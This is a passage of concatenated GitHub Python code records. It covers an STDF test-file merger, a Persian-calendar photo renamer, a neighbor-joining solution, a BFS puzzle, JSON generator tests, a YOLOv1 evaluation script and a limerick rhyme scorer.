rec_obj.__repr__()\n new_stdf.write(raw_bytes)\n insert_atr_flag = False\n \n # write part result sequences\n # repeated sequence of: single PIR > single GDR > mulitple PTR/FTR > single PRR\n for fp in info.src_fps:\n endian, version = utils.endian_and_version_from_file(fp)\n for part in info.index[fp]['part_recs'].values():\n for *_, raw_bytes in part['PRS']:\n new_stdf.write(raw_bytes)\n \n # for pid in range(1, len(info.part_info)+1):\n # found_match = False\n # for (x,y) in info.part_info:\n # if info.part_info[(x,y)][\"pid\"] == str(pid):\n # assert not found_match, \"found duplicate pid in part_info dict\"\n # found_match = True\n # part_i = info.part_info[(x,y)][\"part_i\"]\n # fp = info.part_info[(x,y)][\"fp\"]\n # assert found_match, \"could not find match for pid {} in part_info\".format(pid)\n # for i, rec in enumerate(info.index[fp][\"part_recs\"][part_i][\"PRS\"]):\n # _, rec_type, rec_sub, raw_bytes = rec\n # if (rec_type,rec_sub) == id_ts_dict[\"PRR\"]:\n # rec_obj = utils.create_record_object(version, endian, \"PRR\", raw_bytes)\n # part_flag = rec_obj.get_fields('PART_FLG')[3]\n # part_flag[-2] = \"0\" # new part (not retest)\n # rec_obj.set_value(\"PART_FLG\", part_flag)\n # rec_obj.set_value(\"PART_ID\", str(pid))\n # raw_bytes = rec_obj.__repr__()\n # new_stdf.write(raw_bytes)\n \n # write single WRR\n _, rec_type, rec_sub, raw_bytes = info.index[fp1]['WRR']\n assert (rec_type,rec_sub) == id_ts_dict[\"WRR\"], \"Expected WRR\"\n rec_obj = utils.create_record_object(version, endian, \"WRR\", raw_bytes)\n rec_obj.set_value(\"PART_CNT\", info.get_part_cnt())\n rec_obj.set_value(\"GOOD_CNT\", info.get_good_cnt())\n rec_obj.set_value(\"RTST_CNT\", info.get_retest_cnt())\n raw_bytes = rec_obj.__repr__()\n new_stdf.write(raw_bytes)\n \n # write multiple TSR\n # recs = []\n # for fp in info.src_fps:\n # recs += info.index[fp][\"PTRs\"]\n # recs += info.index[fp][\"FTRs\"]\n # for rec in recs:\n # _, rec_type, rec_sub, raw_bytes = rec\n # rec_obj = utils.create_record_object(version, endian, ts_id_dict[(rec_type,rec_sub)], raw_bytes)\n # tnum = rec_obj.get_fields(\"TEST_NUM\")[3]\n # tests = [x for x in info.test_info.values() if x['tnum'] == tnum]\n # assert len(tests) == 1, f\"expected 1 test with test# {tnum}. found {len(tests)}\"\n # test = tests[0]\n # for rec in info.index[fp][\"TSRs\"]:\n \n n_tests = len(info.test_info.values())\n for test in info.test_info.values():\n fp = test['fp']\n found_match = False\n # print(\"searching for test#\", test[\"TEST_NUM\"], \"in TSR list...\")\n\n for _, rec_type, rec_sub, raw_bytes in info.index[fp][\"TSRs\"]:\n if info.get_tsr_tnum_from_raw_bytes(raw_bytes) == test['TEST_NUM']:\n found_match = True\n # print(\"found test#\", test['TEST_NUM'], \"in TSR list\")\n endian, version = utils.endian_and_version_from_file(fp)\n rec_obj = utils.create_record_object(version, endian, \"TSR\", raw_bytes)\n opt_flag = rec_obj.get_fields(\"OPT_FLAG\")[3]\n if rec_obj.get_fields(\"EXEC_CNT\")[3] != 4294967295: # 4294967295 indicates missing/invalid data\n rec_obj.set_value(\"EXEC_CNT\", test[\"EXEC_CNT\"])\n else:\n print(\"EXEC_CNT field contains missing or invalid data\")\n if rec_obj.get_fields(\"FAIL_CNT\")[3] != 4294967295: # 4294967295 indicates missing/invalid data\n rec_obj.set_value(\"FAIL_CNT\", test[\"FAIL_CNT\"])\n else:\n print(\"FAIL_CNT field contains missing or invalid data\")\n if rec_obj.get_fields(\"ALRM_CNT\")[3] != 4294967295: # 4294967295 indicates missing/invalid data\n rec_obj.set_value(\"ALRM_CNT\", test[\"ALRM_CNT\"])\n # check OPT_FLAG fields\n if opt_flag[7] == '0':\n rec_obj.set_value(\"TEST_MIN\", test[\"TEST_MIN\"]) # bit 0\n if opt_flag[6] == '0':\n rec_obj.set_value(\"TEST_MAX\", test[\"TEST_MAX\"]) # bit 1\n if opt_flag[3] == '0':\n rec_obj.set_value(\"TST_SUMS\", test[\"TST_SUMS\"]) # bit 4\n if opt_flag[2] == '0':\n rec_obj.set_value(\"TST_SQRS\", test[\"TST_SQRS\"]) # bit 5\n \n #debug start\n # if test[\"TEST_NUM\"] == 200103:\n # print(rec_obj)\n \n # write 2 TSR for each test\n rec_obj.set_value(\"HEAD_NUM\", 1)\n rec_obj.set_value(\"SITE_NUM\", 1)\n raw_bytes = rec_obj.__repr__()\n new_stdf.write(raw_bytes)\n rec_obj.set_value(\"HEAD_NUM\", 255)\n rec_obj.set_value(\"SITE_NUM\", 0)\n raw_bytes = rec_obj.__repr__()\n new_stdf.write(raw_bytes)\n break\n n_tests -= 1\n # print(\"tests remaining:\", n_tests)\n assert found_match, f\"found no match for test# {test['tnum']} in TSR list from file: {fp}\"\n \n \n # write recs for: multiple HBR\n recs = []\n for fp in info.src_fps:\n recs += info.index[fp][\"HBRs\"]\n hw_bin_cnts = info.get_hw_bin_cnts()\n for hbin in hw_bin_cnts:\n assert len(hw_bin_cnts), \"expected 1 or more SW bins\"\n for rec in recs:\n _, rec_type, rec_sub, raw_bytes = rec\n assert (rec_type,rec_sub) == id_ts_dict[\"HBR\"], \"expected HBR record. found {} record\".format(ts_id_dict[(rec_type,rec_sub)])\n rec_obj = utils.create_record_object(version, endian, \"HBR\", raw_bytes)\n if rec_obj.get_fields('HBIN_NUM')[3] == hbin:\n rec_obj.set_value('HBIN_CNT', hw_bin_cnts[hbin])\n rec_obj.set_value('HEAD_NUM', 1)\n rec_obj.set_value('SITE_NUM', 1)\n raw_bytes = rec_obj.__repr__()\n new_stdf.write(raw_bytes)\n rec_obj.set_value('HEAD_NUM', 255)\n rec_obj.set_value('SITE_NUM', 0)\n raw_bytes = rec_obj.__repr__()\n new_stdf.write(raw_bytes)\n break\n \n # write recs for: multiple SBR\n recs = []\n for fp in info.src_fps:\n recs += info.index[fp][\"SBRs\"]\n sw_bin_cnts = info.get_sw_bin_cnts()\n for sbin in sw_bin_cnts:\n assert len(sw_bin_cnts), \"expected 1 or more SW bins\"\n for rec in recs:\n _, rec_type, rec_sub, raw_bytes = rec\n assert (rec_type,rec_sub) == id_ts_dict[\"SBR\"], \"expected SBR record. found {} record\".format(ts_id_dict[(rec_type,rec_sub)])\n rec_obj = utils.create_record_object(version, endian, \"SBR\", raw_bytes)\n if rec_obj.get_fields('SBIN_NUM')[3] == sbin:\n rec_obj.set_value('SBIN_CNT', sw_bin_cnts[sbin])\n rec_obj.set_value('HEAD_NUM', 1)\n rec_obj.set_value('SITE_NUM', 1)\n raw_bytes = rec_obj.__repr__()\n new_stdf.write(raw_bytes)\n rec_obj.set_value('HEAD_NUM', 255)\n rec_obj.set_value('SITE_NUM', 0)\n raw_bytes = rec_obj.__repr__()\n new_stdf.write(raw_bytes)\n break\n \n # write 2 PCR\n for rec in info.index[fp1][\"PCRs\"]:\n _, rec_type, rec_sub, raw_bytes = rec\n rec_obj = utils.create_record_object(version, endian, \"PCR\", raw_bytes)\n rec_obj.set_value(\"PART_CNT\", info.get_part_cnt())\n rec_obj.set_value(\"GOOD_CNT\", info.get_good_cnt())\n rec_obj.set_value(\"RTST_CNT\", info.get_retest_cnt())\n raw_bytes = rec_obj.__repr__()\n new_stdf.write(raw_bytes)\n \n # write MRR\n _, rec_type, rec_sub, raw_bytes = info.index[fp1][\"MRR\"]\n new_stdf.write(raw_bytes)\n return new_fp\n\ndef is_datecode(string):\n if string.isnumeric() and len(string) == 8:\n if int(string[0:4]) > 2000: # if year value is greater than 2000\n if int(string[4:6]) in range(1,13): # if month value is between 1 and 12 inclusive\n if int(string[6:8]) in range(1,32): # if day of month is between 1 and 31 inclusive\n return True\n return False \n \ndef stdf_merge(fp_list = [], skip_fn_checks = False):\n while (len(fp_list) < 2):\n if not fp_list:\n title = \"Select two or more files to merge\"\n elif len(fp_list) == 1:\n title = \"Select one or more files to merge\"\n fp_list += filedialog.askopenfilenames(title=title)\n \n fn_list_wo_datecode = []\n if not skip_fn_checks:\n for i, fp in enumerate(fp_list):\n fp = os.path.abspath(fp)\n print(\"fp{}: {}\".format(i+1, fp))\n basename = os.path.basename(fp)\n basename_wo_ext = os.path.splitext(basename)[0]\n splits = [x for x in basename_wo_ext.split('_') if not is_datecode(x)]\n fn_list_wo_datecode.append(\"_\".join(splits))\n print(fn_list_wo_datecode[i])\n assert fn_list_wo_datecode[0] == fn_list_wo_datecode[i], \\\n \"Merged STDF files must have the same die type, lot# and wafer#:\\n{}\\n{}\".format(fn_list_wo_datecode[0], fn_list_wo_datecode[i])\n \n info = stdf_info()\n for fp in fp_list:\n print(\"building rec index...\")\n info.build_rec_index(fp)\n print(\"building part info...\")\n info.build_part_info(fp)\n print(\"updating part flags...\")\n info.update_part_flags()\n \n print(\"updating test_info...\")\n info.build_merged_test_info()\n info.reassign_pids()\n info.update_index()\n \n # debug start\n # good_cnt = info.get_good_cnt()\n # part_cnt = info.get_part_cnt()\n # retest_cnt = info.get_retest_cnt()\n # print(\"good_count:\", good_cnt, \"part_cnt:\", part_cnt, \"retest_cnt:\", retest_cnt)\n # sw_bin_cnts = info.get_sw_bin_cnts()\n # hw_bin_cnts = info.get_hw_bin_cnts()\n # print(\"sw_bin_cnts:\", sw_bin_cnts, \"\\nhw_bin_cnts:\", hw_bin_cnts)\n # debug stop\n\n print(\"writing merged stdf file...\")\n merged_stdf_fp = write_merged_stdf_file(info)\n return merged_stdf_fp\n\nif __name__ == '__main__':\n fp_list = []\n # fp1 = r\"C:/Users/dkane/OneDrive - Presto Engineering/Documents/Infinera/Gen 4/N12126.1/stdf/MZMD/partial wafer14/G4_MZMD15163_N12126.1_14_20230217.stdf\"\n # fp2 = r\"C:/Users/dkane/OneDrive - Presto Engineering/Documents/Infinera/Gen 4/N12126.1/stdf/MZMD/partial wafer14/G4_MZMD15163_N12126.1_14_20230221.stdf\"\n # fp_list.append(fp1)\n # fp_list.append(fp2)\n \n dt0 = datetime.now()\n print(\"Start time: \", dt0)\n \n stdf_merge(fp_list, skip_fn_checks = True)\n \n dt1 = datetime.now()\n delta = timedelta()\n delta = dt1 - dt0\n print(\"\\nEnd time: \", dt1)\n print(\"Elapsed time: \", delta)","repo_name":"dyrkane7/stdf_processing","sub_path":"stdf_merge_v4.py","file_name":"stdf_merge_v4.py","file_ext":"py","file_size_in_byte":40277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41656635611","text":"import os\nimport time\nimport jdatetime\nfrom tqdm import tqdm\nfrom glob import glob\nfrom datetime import datetime\n\ndata_dir = r'data\\**\\*.*'\nnew_dir = r'data\\new'\nimage_video_extension = ['jpg', 'mov', 'mp4', 'mkv', 'png', 'heic', 'jpeg', 'gif', 'webp', 'm4v']\nformat_data = \"%a %b %d %H:%M:%S %Y\"\n\npersian_month = {\n 1: '01-فروردین',\n 2: '02-اردیبهشت',\n 3: '03-خرداد',\n 4: '04-تیر',\n 5: '05-مرداد',\n 6: '06-شهریور',\n 7: '07-مهر',\n 8: '08-آبان',\n 9: '09-آذر',\n 10: '10-دی',\n 11: '11-بهمن',\n 12: '12-اسفند'\n}\ndata_list = glob(data_dir, recursive=True)\ncount = 0\nnot_moved = []\nfor file in tqdm(data_list):\n file_type = str(file.split('.')[-1]).lower()\n if file_type in image_video_extension:\n time_modified = os.path.getmtime(file)\n time_data = time.ctime(time_modified)\n date = datetime.strptime(time_data, format_data)\n persian_time = jdatetime.date.fromgregorian(day=date.day, year=date.year, month=date.month)\n path = f'{new_dir}/{persian_time.year}/{persian_month[int(persian_time.month)]}'\n os.makedirs(path, exist_ok=True)\n new_file_name = f'{path}/{persian_time.year}{str(persian_time.month).zfill(2)}{str(persian_time.day).zfill(2)}'\n count = len(glob(f'{new_file_name}*.*'))\n os.rename(file, f'{new_file_name}_{str(count + 1).zfill(4)}.{file_type}')\n count += 1\n else:\n not_moved.append(file_type)\n\nprint(f'{count} of {len(data_list)} file has moved...')\nprint(f'{len(data_list) - count} can not moved...')\n\nprint(set(not_moved))\n","repo_name":"niloofar-sn/reformat-file-","sub_path":"reformat.py","file_name":"reformat.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15926548811","text":"\r\nimport numpy as np\r\n\r\n\r\nclass imp_neighbor_joining:\r\n def __init__(self):\r\n number, dist_matrix = self.read_from_file()\r\n adj = self.run_neighbor_joining(dist_matrix, number)\r\n self.print_graph(adj)\r\n\r\n @staticmethod\r\n def read_from_file():\r\n file = open('rosalind_ba7e.txt', 'r')\r\n data = []\r\n for line in file:\r\n data.append(line.strip())\r\n number = int(data[0])\r\n dist_matrix = [[0] * number for _ in range(number)]\r\n for i in range(number):\r\n d = data[i + 1].split()\r\n for j in range(number):\r\n dist_matrix[i][j] = int(d[j])\r\n return number, dist_matrix\r\n\r\n @staticmethod\r\n def run_neighbor_joining(dist_matrix, number):\r\n dist_data = np.array(dist_matrix, dtype=float)\r\n clusters = [i for i in range(number)]\r\n adj = [[] for _ in range(number)]\r\n if len(dist_data) <= 1:\r\n return adj\r\n while 0 == 0:\r\n if 2 == number:\r\n adj[len(adj) - 1].append((len(adj) - 2, dist_data[0][1]))\r\n adj[len(adj) - 2].append((len(adj) - 1, dist_data[0][1]))\r\n break\r\n total_dist = np.sum(dist_data, axis=0)\r\n d1 = (number - 2) * dist_data - total_dist - total_dist.reshape((number, 1))\r\n np.fill_diagonal(d1, 0.)\r\n index = np.argmin(d1)\r\n ind_number_fratio = index // number\r\n ind_number_mod = index % number\r\n delta = (total_dist[ind_number_fratio] - total_dist[ind_number_mod]) / (number - 2)\r\n l_ind_number_fratio = (dist_data[ind_number_fratio, ind_number_mod] + delta) / 2\r\n l_ind_number_mod = (dist_data[ind_number_fratio, ind_number_mod] - delta) / 2\r\n d_new = (dist_data[ind_number_fratio, :] + dist_data[ind_number_mod, :] - dist_data[ind_number_fratio,\r\n ind_number_mod]) / 2\r\n dist_data = np.insert(dist_data, number, d_new, axis=0)\r\n d_new = np.insert(d_new, number, 0., axis=0)\r\n dist_data = np.insert(dist_data, number, d_new, axis=1)\r\n dist_data = np.delete(dist_data, [ind_number_fratio, ind_number_mod], 0)\r\n dist_data = np.delete(dist_data, [ind_number_fratio, ind_number_mod], 1)\r\n length_adj = len(adj)\r\n adj.append([])\r\n adj[length_adj].append((clusters[ind_number_fratio], l_ind_number_fratio))\r\n adj[clusters[ind_number_fratio]].append((length_adj, l_ind_number_fratio))\r\n adj[length_adj].append((clusters[ind_number_mod], l_ind_number_mod))\r\n adj[clusters[ind_number_mod]].append((length_adj, l_ind_number_mod))\r\n if ind_number_fratio < ind_number_mod:\r\n del clusters[ind_number_mod]\r\n del clusters[ind_number_fratio]\r\n else:\r\n del clusters[ind_number_fratio]\r\n del clusters[ind_number_mod]\r\n clusters.append(length_adj)\r\n number -= 1\r\n\r\n return adj\r\n\r\n @staticmethod\r\n def print_graph(adj):\r\n for i, nodes in enumerate(adj):\r\n for d, w in nodes:\r\n print(str(i) + '->' + str(d) + ':' + '%0.3f' % w)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n imp_neighbor_joining()\r\n","repo_name":"Mockingbird2k/BioInformatic-Assignments","sub_path":"BioInformatic Assignments (Rosalind)/Implement the Neighbor Joining Algorithm (ba7e).py","file_name":"Implement the Neighbor Joining Algorithm (ba7e).py","file_ext":"py","file_size_in_byte":3307,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"25456855747","text":"from collections import deque\n\nupDown = [-1, 1, 0, 0]\nleftRight = [0, 0, -1, 1]\n\nheight, width = map(int, input().split())\n\nboard = [list(map(int, input())) for i in range(height)]\nvisitList = [[False for i in range(width)] for i in range(height)]\n\nbfsDeque = deque()\nbfsDeque.append([0, 0, 0])\n\nresult = \"IMPOSSIBLE\"\nwhile bfsDeque:\n thisDeque = bfsDeque.popleft()\n\n if thisDeque[0] == (height-1) and thisDeque[1] == (width-1):\n result = str(thisDeque[2])\n break\n\n for i in range(4):\n thisHeight = (thisDeque[0] + (upDown[i]*board[thisDeque[0]][thisDeque[1]]))\n thisWidth = (thisDeque[1] + (leftRight[i]*board[thisDeque[0]][thisDeque[1]]))\n\n if 0 <= thisHeight < height and 0 <= thisWidth < width:\n if not visitList[thisHeight][thisWidth]:\n visitList[thisHeight][thisWidth] = True\n bfsDeque.append([thisHeight, thisWidth, (thisDeque[2]+1)])\n\nprint(result)\n","repo_name":"jy940408/algorithm_python","sub_path":"PYTHONBreadthFirstSearch/Grid.py","file_name":"Grid.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23331465227","text":"import json\nfrom datetime import datetime\n\nimport pytest\n\nfrom json_stream_generator import json_generator\n\n\n# fmt: off\n@pytest.mark.parametrize(\n \"depth\",\n list(range(0, 4))\n)\n@pytest.mark.parametrize(\n \"obj\",\n (\n {\"a\": \"b\"},\n [\"a\", \"b\", \"c\", \"d\"],\n {\"a\": \"b\", \"c\": \"d\"},\n {\"a\": \"b\", \"c\": []},\n {\"a\": \"b\", \"c\": [1, 2, 3]},\n {\"a\": \"b\", \"c\": [1, \"a\", {\"a\": \"b\", \"c\": 2}]},\n \"abcd\",\n 234,\n {},\n [],\n {\"a\": []},\n {\"a\": {}},\n [{}],\n [[]],\n [{}, []],\n [[], []],\n {\"a\": [{}, {}]},\n )\n)\n# fmt: on\ndef test_output_equals_json_dumps(depth, obj):\n expected = json.dumps(obj)\n result = \"\".join(json_generator(obj, depth=depth))\n\n assert expected == result\n\n\n# fmt: off\n@pytest.mark.parametrize(\n \"depth, obj, expected\",\n [\n (0, {\"a\": \"b\"}, ['{\"a\": \"b\"}']),\n (1, {\"a\": \"b\"}, ['{\"a\": ', '\"b\"', '}']),\n (2, {\"a\": \"b\"}, ['{\"a\": ', '\"b\"', '}']),\n (3, {\"a\": \"b\"}, ['{\"a\": ', '\"b\"', '}']),\n (1, {\"a\": [1,2,3]}, ['{\"a\": ', '[1, 2, 3]', '}']),\n (2, {\"a\": [1,2,3]}, ['{\"a\": ', '[1', ', 2', ', 3', ']', '}']),\n ]\n)\n# fmt: on\ndef test_output_in_chunks(depth, obj, expected):\n result = list(json_generator(obj, depth=depth))\n\n assert expected == result\n\n\ndef test_generator_input():\n obj = (num for num in range(5))\n # fmt: off\n expected = [\"[0\", \", 1\", \", 2\", \", 3\", \", 4\", \"]\"]\n # fmt: on\n\n result = list(json_generator(obj))\n\n assert expected == result\n\n\ndef test_simple_values():\n obj = [\n {},\n [],\n (),\n 123,\n 123.456,\n True,\n False,\n None,\n \"abc\",\n ]\n expected = json.dumps(obj)\n result = \"\".join(json_generator(obj))\n\n assert expected == result\n\n\ndef test_different_key_types():\n obj = {\n 123: \"A\",\n 123.456: \"B\",\n True: \"C\",\n False: \"D\",\n None: \"E\",\n \"abc\": \"F\",\n }\n expected = json.dumps(obj)\n result = \"\".join(json_generator(obj))\n\n assert expected == result\n\n\n# fmt: off\n@pytest.mark.parametrize(\n \"obj\",\n [\n {(1, 2): \"A\"},\n [{(1, 2): \"A\"}],\n {datetime.now(): \"A\"},\n [{datetime.now(): \"A\"}],\n ({datetime.now(): \"A\"} for _ in range(5)),\n ({(1, 2): \"A\"} for _ in range(5)),\n ]\n)\n# fmt: on\ndef test_invalid_keys(obj):\n with pytest.raises(TypeError):\n \"\".join(json_generator(obj))\n","repo_name":"wlatanowicz/json-stream-generator","sub_path":"tests/test_json_generator.py","file_name":"test_json_generator.py","file_ext":"py","file_size_in_byte":2478,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"72455376373","text":"import torch\nfrom torch.utils.data import DataLoader,Subset\nimport matplotlib.pyplot as plt\nfrom matplotlib import patches\nfrom transformer import Transformer\nfrom torchvision.datasets import VOCDetection\nfrom torchmetrics.detection.mean_ap import MeanAveragePrecision\nfrom model import Yolov1\n\nclasses = [\n\"person\",\n\"bird\",\n\"cat\",\n\"cow\",\n\"dog\",\n\"horse\",\n\"sheep\",\n\"aeroplane\",\n\"bicycle\",\n\"boat\",\n\"bus\",\n\"car\",\n\"motorbike\",\n\"train\",\n\"bottle\",\n\"chair\",\n\"dining table\",\n\"potted plant\",\n\"sofa\",\n\"tv/monitor\"\n]\n\ndef convert_to_xywh(label_row:torch.Tensor,sq_row:int,sq_col:int, split_pixel_size:float):\n in_sq_x,in_sq_y,relative_w,relative_h = label_row \n \n x = sq_col * split_pixel_size + in_sq_x * split_pixel_size\n y = sq_row * split_pixel_size + in_sq_y * split_pixel_size\n w = relative_w * split_pixel_size \n h = relative_h * split_pixel_size \n\n return [x,y,w,h] \n \n\ndataset = VOCDetection(\".\", transforms=Transformer(classes,split_size=7,new_img_size=448))\ndataset = Subset(dataset, list(range(0,100)))\n\nloader = DataLoader(dataset, batch_size=8,drop_last=True)\n\n\nmodel=torch.load(\"models/model_2023-11-16_0.pt\",map_location=torch.device('cpu'))\n\nmodel.eval()\n\nclass MetricCollector:\n\n def __init__(self) -> None:\n \n self.bbox_per_img = {\n \"preds\":[],\n \"targets\":[]\n }\n\n self.__pred_bbox_in_img = {\n \"boxes\":list(),\n \"scores\":list(),\n \"labels\":list()\n }\n \n self.__target_bbox_in_img = {\n \"boxes\":list(),\n \"scores\":list(),\n \"labels\":list()\n }\n\n\n def add_bbox(self, \n target_bb:torch.FloatTensor,\n target_obj_score:torch.FloatTensor,\n target_class:torch.IntTensor,\n\n\n predicted_bb:torch.FloatTensor,\n predicted_obj_score:torch.FloatTensor,\n predicted_class:torch.IntTensor\n ):\n \n \n self.__pred_bbox_in_img[\"boxes\"].append(predicted_bb)\n self.__pred_bbox_in_img[\"scores\"].append(predicted_obj_score)\n self.__pred_bbox_in_img[\"labels\"].append(predicted_class)\n \n \n self.__target_bbox_in_img[\"boxes\"].append(target_bb)\n self.__target_bbox_in_img[\"scores\"].append(target_obj_score)\n self.__target_bbox_in_img[\"labels\"].append(target_class)\n \n def group(self):\n pred_boxes = torch.stack(self.__pred_bbox_in_img[\"boxes\"], dim=0)\n pred_scores = torch.concat(self.__pred_bbox_in_img[\"scores\"], dim=0)\n pred_labels = torch.concat(self.__pred_bbox_in_img[\"labels\"], dim=0)\n\n target_boxes = torch.stack(self.__target_bbox_in_img[\"boxes\"], dim=0)\n target_scores = torch.concat(self.__target_bbox_in_img[\"scores\"], dim=0)\n target_labels = torch.concat(self.__target_bbox_in_img[\"labels\"], dim=0)\n\n self.bbox_per_img[\"preds\"].append({\n \"boxes\":pred_boxes,\n \"scores\":pred_scores,\n \"labels\":pred_labels\n })\n\n self.bbox_per_img[\"targets\"].append({\n \"boxes\":target_boxes,\n \"scores\":target_scores,\n \"labels\":target_labels\n })\n\n self.__target_bbox_in_img[\"boxes\"].clear()\n self.__target_bbox_in_img[\"scores\"].clear()\n self.__target_bbox_in_img[\"labels\"].clear()\n\n self.__pred_bbox_in_img[\"boxes\"].clear()\n self.__pred_bbox_in_img[\"scores\"].clear()\n self.__pred_bbox_in_img[\"labels\"].clear()\n\n\n\n \n\n\ncollectors = MetricCollector()\nwith torch.no_grad():\n for imgs,target_matrixs in loader:\n\n predicted_matrixs = model(imgs) #model(imgs))\n\n for i in range(8):\n\n preds = []\n targets = []\n target_matrix = target_matrixs[i]\n predicted_matrix = predicted_matrixs[i] \n\n img = imgs[i]\n img = torch.movedim(img,0,-1)\n\n \n\n for row in range(7):\n for col in range(7): \n target_sq = target_matrix[row][col]\n predicted_sq = predicted_matrix[row][col]\n\n if target_sq[20] == 1:\n print(\"predicted\",predicted_sq)\n print(\"targets\",target_sq)\n if predicted_sq[25] < predicted_sq[20] :\n predicted_sq= torch.concat([predicted_sq[:20], predicted_sq[20:25]], dim=0)\n else:\n predicted_sq= torch.concat([predicted_sq[:20], predicted_sq[25:30]], dim=0)\n \n \n predicted_score = predicted_sq[20]\n predicted_xmin, predicted_ymin,predicted_w,predicted_h=convert_to_xywh(predicted_sq[21:],row,col, 448/7) \n predicted_class = torch.argmax(predicted_sq[...,:20])\n\n \n target_score = target_sq[20]\n target_xmin, target_ymin,target_w,target_h=convert_to_xywh(target_sq[21:],row,col, 448/7) \n target_class = torch.argmax(target_sq[...,:20])\n \n rect_predicted = patches.Rectangle((predicted_xmin, predicted_ymin),predicted_w,predicted_h, linewidth=1, edgecolor='r', facecolor='none')\n rect_target = patches.Rectangle((target_xmin,target_ymin),target_w,target_h, linewidth=1, edgecolor='b', facecolor='none')\n\n\n axImage = plt.imshow(img)\n axImage.axes.add_patch(rect_predicted)\n axImage.axes.add_patch(rect_target)\n \n plt.title(f\"target:{target_class} pred:{predicted_class}\")\n plt.show()\n \n \n \n collectors.add_bbox(\n torch.FloatTensor([target_xmin, target_ymin,target_w,target_h]),\n torch.FloatTensor([1]),\n torch.IntTensor([target_class]),\n torch.FloatTensor([ predicted_xmin, predicted_ymin,predicted_w,predicted_h]),\n torch.FloatTensor([predicted_score]),\n torch.IntTensor([predicted_class])\n )\n\n collectors.group()\n\n\n\nmAP = MeanAveragePrecision(box_format=\"xywh\")\nmAP.update(preds=collectors.bbox_per_img[\"preds\"],target=collectors.bbox_per_img[\"targets\"]) \nprint(mAP.compute())","repo_name":"Asmail790/Yolov1","sub_path":"check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":6540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33257500668","text":"# imports\nimport re\nfrom pathlib import Path\nfrom typing import List, Union\n\nimport numpy as np\nimport pronouncing\n\nfrom youshen.util import calculate_edit_distance, clean\n\nLIMERICK_PATTERN = [[0, 1], [2, 3], [0, 4]]\nBLACKLIST =[\n \"=+.*=+\",\n \"(<.endoftext)*.>\"\n]\n\n\ndef get_top_limerick(text: str):\n \"\"\"\n Parameters\n ----------\n text: Str\n Samples of text generated by GPT-2\n\n Returns\n ----------\n top_limerick: str\n The best rhyming limerick from a set of samples generated by GPT-2\n\n Examples\n ----------\n >>> from pathlib import Path\n >>> from youshen.poem import get_top_limerick\n >>> samples = Path(\"samples/samples.txt\")\n >>> with open(samples) as file:\n >>> text = file.read()\n >>> top = get_top_limerick(text)\n \"\"\"\n poem_samples = text.split(\"<|endoftext|>\")\n\n poems = [\n clean(poem_sample, BLACKLIST) \n for poem_sample in poem_samples \n if len(poem_sample) > 0\n ]\n\n poems = [poem for poem in poems if len(poem) > 0]\n grouped_verses = [[line for line in poem.splitlines() if line] for poem in poems ]\n poem_text = [\"\\n\".join(grouped_verse) for grouped_verse in grouped_verses if len(grouped_verse)>4] \n poems = [SamplePoem(text=poem_sample, rhyme_patterns=LIMERICK_PATTERN, verse_length=5) \n for poem_sample in poem_text if len(poem_sample) >4]\n indexed_scores = {poems.index(poem): poem.get_rhyme_score() for poem in poems}\n top_poem_index = max(indexed_scores)\n top_limerick = poems[top_poem_index].lines\n return \"\\n\".join(top_limerick)\n\nclass Limerick:\n def __init__(self, lines: str, rhyme_patterns: List, max_length: int = None):\n self.verse_lines = lines\n if max_length:\n self.verse_lines = self.verse_lines[0:max_length]\n self.last_words = [line.split()[-1] for line in self.verse_lines]\n self.last_word_rhyming_part_pairs = {\n word: self.__get_rhyming_parts(word) for word in self.last_words\n }\n self.rhyme_patterns = rhyme_patterns\n\n def __get_phonemes(self, text: Union[str, List]):\n \"\"\"returns all possible pronunciation of a word as phonemes\n Language used: American English. Style: Arpabet\n \"\"\"\n if type(text) == str:\n phonemes = pronouncing.phones_for_word(text)\n else:\n phonemes = [pronouncing.phones_for_word(word) for word in text]\n return phonemes\n\n def __get_rhyming_parts(self, word: str):\n phonemes = self.__get_phonemes(word)\n rhyming_parts = [pronouncing.rhyming_part(phoneme) for phoneme in phonemes]\n return rhyming_parts\n\n def __get_valid_rhyme_patterns(self):\n valid_patterns = [\n pattern\n for pattern in self.rhyme_patterns\n if not any(i > len(self.verse_lines) - 1 for i in pattern)\n ]\n return valid_patterns\n\n def score(self, line_pair: List):\n first_word = self.last_words[line_pair[0]]\n second_word = self.last_words[line_pair[1]]\n first_word_rhymes = self.__get_rhyming_parts(first_word)\n second_word_rhymes = self.__get_rhyming_parts(second_word)\n rhyme_score = 0\n for first_word_rhyme in first_word_rhymes:\n for second_word_rhyme in second_word_rhymes:\n is_rhyming = first_word_rhyme == second_word_rhyme\n if is_rhyming:\n rhyme_score = 1\n status = \"successfully matched\"\n else:\n status = \"could not match\"\n # uncomment to debug\n print(\n f\" {status} -> {first_word}({first_word_rhyme}) and {second_word}({second_word_rhyme})\"\n )\n return int(rhyme_score)\n\n def get_rhyme_score(self):\n \"\"\"returns a rhyming score for the poem between 0 and 1.\n \"\"\"\n valid_patterns = self.__get_valid_rhyme_patterns()\n scores = [self.score(pattern) for pattern in valid_patterns]\n if len(scores) == 0:\n return 0\n # pdb.set_trace()\n return sum(scores) / len(scores)\n\n def __repr__(self):\n return repr(\"\\n\".join(self.verse_lines))\n\n\nclass SamplePoem:\n def __init__(\n self, text: str, rhyme_patterns: List, verse_length: int, blacklist: List = None\n ):\n self.lines = [line for line in text.splitlines() if line]\n self.verse_length = verse_length\n self.rhyme_patterns = rhyme_patterns\n intervals = list(range(0, len(self.lines), verse_length))\n verse_lines_list = [self.lines[x : x + 5] for x in intervals]\n self.verses = [\n Limerick(\n lines=verse_lines,\n rhyme_patterns=self.rhyme_patterns,\n max_length=self.verse_length,\n )\n for verse_lines in verse_lines_list\n ]\n\n def __get_item__(self, key):\n return self.verses[key]\n\n def get_rhyme_score(self):\n if len(self.verses):\n scores = 